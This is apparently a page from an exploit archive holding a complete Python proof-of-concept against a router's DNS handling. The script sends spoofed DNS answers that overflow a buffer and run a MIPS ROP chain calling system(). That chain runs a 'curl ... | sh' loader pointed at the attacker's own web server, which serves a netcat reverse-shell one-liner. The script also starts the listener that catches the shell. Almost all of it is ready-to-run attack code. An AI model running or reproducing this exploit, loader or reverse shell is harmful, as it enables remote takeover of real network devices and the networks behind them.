4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
import struct, sys, threading, os, time, http.server, socketserver
from scapy.all import *

THREADS = 20
MIN_PORT = 32000
MAX_PORT = 61000
SPOOF_LIST = [      # Possible DNS servers that the router uses. Modify order based on target.
    "192.168.1.1",
    "192.168.0.1",
    "10.0.0.1",
    "172.16.0.0",
    "1.1.1.1",
    "8.8.8.4",
    "8.8.8.8",
    "9.9.9.9"
]
REVERSE_SHELL_PORT = 1337
WEB_SERVER_PORT = 4444
LISTENER_CMD = "nc -lp %d"
LOADER_CMD = "curl http://%s:%d/ | sh" 
REVERSE_SHELL_CMD = "rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc %s %d >/tmp/f"

if os.geteuid() != 0:
    print("[x] You need sudo privileges to run this exploit")
    exit()

if (len(sys.argv) < 4) or (sys.argv[1] != "lan" and sys.argv[1] != "wan"):
    print("[x] Usage: %s <lan/wan> <target> <attacker>" % sys.argv[0])
    exit()

mode = sys.argv[1]
target = sys.argv[2]
attacker = sys.argv[3]

def build_payload(cmd):
    ####### ROP chain #######
    #
    GADGET_1 = 0x00402700
    #
    # prepare args for memcpy()
    #
    #   lw      ra, 0x2c(sp)
    #   move    v0, s2
    #   lw      s2, 0x28(sp)
    #   lw      s1, 0x24(sp)
    #   lw      s0, 0x20(sp)
    #   jr      ra
    #   addiu   sp, sp, 0x30
    #
    GADGET_2 = 0x00405a98
    #
    # continue preparing args and call memcpy()
    # this is a fragment of process_resolved_IP() and it continues until it returns
    #
    #   move    a0, v0
    #   jal     <EXTERNAL>:memcpy
    #   _move   a2, s1
    #   [...]
    #
    GADGET_3 = 0x004065e8
    #
    # prepare args and call system()
    # 
    #   move    a0, v0
    #   clear   v0
    #   lw      ra, 0x1c(sp)
    #   jr      ra
    #
    #########################

    # len of each "domain name" in the payload. must be less than 64
    DOMAIN_LEN = 0x3f

    # DNS header
    TXID = [0, 0]
    FLAGS = [0, 0]
    QDCOUNT = [0, 0]
    ANCOUNT = [0, 1]
    NSCOUNT = [0, 0]
    ARCOUNT = [0, 0]

    # first bytes correspond to the DNS response header
    payload = []
    payload += TXID
    payload += FLAGS
    payload += QDCOUNT
    payload += ANCOUNT
    payload += NSCOUNT
    payload += ARCOUNT

    # next bytes are the DNS payload that is copied into de overflowed buffer

    ### fill up the buffer (3 domain names with length DOMAIN_LEN)
    for i in range (0,4):
        payload += [DOMAIN_LEN]                  # length of current domain name
        for j in range(0, DOMAIN_LEN):
            payload += [0x41]

    ### fill up remaining space until registers
    payload += [0x17]                            # length of current domain name
    payload += [0x41] * 23

    ### corrupt stack

    payload += [0x28]                            # length of current domain name
    payload += struct.pack(">I", 0x30303030)     # s0
    payload += struct.pack(">I", 0x31313131)     # s1
    payload += struct.pack(">I", 0x0041e000)     # s2: [gadget_1] dest argument for memcpy() in gadget_2, corresponding to the data section of conn-indicator which is writeable, where the command will be copied
    payload += struct.pack(">I", 0x0041e000)     # s3: [gadget_3] command to execute. data section previsouly written to in gadget_2. it gets moved into $v0 before gadget_3 is executed
    payload += struct.pack(">I", 0x34343434)     # s4
    payload += struct.pack(">I", 0)              # s5: [gadget_2] variable i in process_resolved_IP() so that when i + 1 = 1 and the loop can stop
    payload += struct.pack(">I", 0x36363636)     # s6
    payload += struct.pack(">I", 0x37373737)     # s7
    payload += struct.pack(">I", 0)              # s8: [gadget_2] param_4
    payload += struct.pack(">I", GADGET_1)       # ra: address of gadget_1 to be loaded in $ra

    payload += [0x2f]                            # length of current domain name
    payload += [0x41] * 7
    payload += struct.pack(">I", 1)              # ANCOUNT on the first execution of process_resolved_IP()
    payload += [0x41] * 4
    payload += struct.pack(">I", 0)              # param_5
    payload += [0x41] * 16
    payload += struct.pack(">I", 0x100)          # [gadget_1] count argument for memcpy() in gadget_2
    payload += [0x41] * 4
    payload += struct.pack(">I", GADGET_2)       # [gadget_1] address of gadget_2 to be loaded in $ra

    payload += [0]                               # length of current domain name (end of DNS payload)

    # next 10 bytes are copied into answer_flags 
    # set them to 0 to bypass all operations and maintain the stack untouched until the return
    for i in range (0,10):
        payload += [0]

    # next bytes are where $a1 and $a3 point to when process_resolved_IP() is returning
    # [gadget_1] src argument for memcpy() in gadget_2
    payload += struct.pack("%is" % len(cmd), bytes(cmd, encoding="ascii"))
    payload += [0]

    payload += [0x41] * (228 - len(cmd) - 1)
    payload += struct.pack(">I", GADGET_3)       # [gadget_2] address of gadget_3 to be loaded in $ra
    payload += [0x41] * 8
    payload += struct.pack(">I", 1)              # [gadget_2] ANCOUNT on the second execution of process_resolved_IP()
    payload += [0x41] * 4
    payload += struct.pack(">I", 0)              # [gadget_2] param_5
    payload += [0x41] * 8
    payload += struct.pack(">I", 0x0040e0f0)     # [gadget_3] system() address

    return payload


# run listener
print("[+] Running netcat listener on port %d" % REVERSE_SHELL_PORT)
t1 = threading.Thread(target=os.system, args=(LISTENER_CMD % REVERSE_SHELL_PORT,))
t1.start()
time.sleep(1)


# run web server
print("[+] Running web server on port %d" % WEB_SERVER_PORT)
stop_requests = False
class web_server_handler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        global stop_requests
        stop_requests = True
        print()
        print("[*] Received connection! Sending reverse shell")
        print()
        self.send_response(200)
        self.wfile.write(bytes(REVERSE_SHELL_CMD % (attacker, REVERSE_SHELL_PORT), "utf8"))
        return
server = socketserver.TCPServer(("", WEB_SERVER_PORT), web_server_handler)
t2 = threading.Thread(target=server.serve_forever)
t2.start()
time.sleep(1)


# send payloads
def send_payload(min_port, max_port, src_ip=None):
    global stop_requests
    for port in range(min_port, max_port+1):
        if stop_requests:
            break
        
        payload = build_payload(LOADER_CMD % (attacker, WEB_SERVER_PORT))
        if src_ip:
            packet =  IP(src=src_ip, dst=target) / UDP(sport=53, dport=port) / raw(bytes(payload))
        else:
            packet =  IP(dst=target) / UDP(sport=53, dport=port) / raw(bytes(payload))
        send(packet, verbose=0)
        port += 1
        time.sleep(0.001)


stop_requests = False
ports_range = int((MAX_PORT - MIN_PORT) / THREADS)

if mode == "lan":
    print()
    for i in range(0, THREADS):
        min_port = MIN_PORT + (ports_range * i)
        max_port = MIN_PORT + (ports_range * (i + 1)) - 1
        if max_port == MAX_PORT-1:
            max_port += 1
        print("[+] [Thread %d] Sending payload to ports %d-%d" % (i, min_port, max_port))
        t = threading.Thread(target=send_payload, args=(min_port, max_port))
        t.start()
        
elif mode == "wan":
    for ip in SPOOF_LIST:
        if stop_requests:
            break
        
        print()
        ports_range = int((MAX_PORT - MIN_PORT) / THREADS)
        for i in range(0, THREADS):
            min_port = MIN_PORT + (ports_range * i)
            max_port = MIN_PORT + (ports_range * (i + 1)) - 1
            if max_port == MAX_PORT-1:
                max_port += 1
            print("[+] [Thread %d] Sending payload from spoofed %s to ports %d-%d" % (i, ip, min_port, max_port))
            t = threading.Thread(target=send_payload, args=(min_port, max_port, ip))
            t.start()
        t.join()
        time.sleep(1)